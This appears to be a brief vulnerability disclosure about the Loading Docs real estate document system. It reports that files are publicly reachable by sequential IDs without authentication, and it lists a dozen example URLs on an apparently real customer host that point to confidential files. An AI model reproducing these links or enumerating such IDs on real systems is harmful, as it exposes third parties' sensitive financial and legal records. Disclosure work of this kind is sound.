Introduction:  
-------------  
Loading Docs is an electronic document management used in real estate brokerages to store confidential customer's files related to real estate transactions.  
  
  
Affected:  
---------  
Loading docs: Tested 2018-08-13  
  
Technical Description:  
----------------------  
  
All the files in loading docs are publicly accessible without any protection whatsoever.  
  
Here are example of the files that can be accessed without any security validation:  
https://br1408-connect.globalwolfweb.com/GetFile.aspx?fsg=90916c11-c41b-704042919  
https://br1408-connect.globalwolfweb.com/GetFile.aspx?fsg=90916c11-c41b-704042917  
https://br1408-connect.globalwolfweb.com/GetFile.aspx?fsg=90916c11-c41b-704042916  
https://br1408-connect.globalwolfweb.com/GetFile.aspx?fsg=90916c11-c41b-704042915  
https://br1408-connect.globalwolfweb.com/GetFile.aspx?fsg=90916c11-c41b-704042912  
https://br1408-connect.globalwolfweb.com/GetFile.aspx?fsg=90916c11-c41b-704042910  
https://br1408-connect.globalwolfweb.com/GetFile.aspx?fsg=90916c11-c41b-704042939  
https://br1408-connect.globalwolfweb.com/GetFile.aspx?fsg=90916c11-c41b-704042938  
https://br1408-connect.globalwolfweb.com/GetFile.aspx?fsg=90916c11-c41b-704042937  
https://br1408-connect.globalwolfweb.com/GetFile.aspx?fsg=90916c11-c41b-704042934  
https://br1408-connect.globalwolfweb.com/GetFile.aspx?fsg=90916c11-c41b-704042933  
https://br1408-connect.globalwolfweb.com/GetFile.aspx?fsg=90916c11-c41b-704042931  
  
Just randomly changing the number at the end gives access to multiple files from apparently multiple customers.  
  
So anyone using a robot could download thousands of files containing sensitive information. (Brokerage contracts, trust account details, Fintrac details, etc).  
  
We don't even need to be logged in the software as these URLS are public facing without any session or user validation.
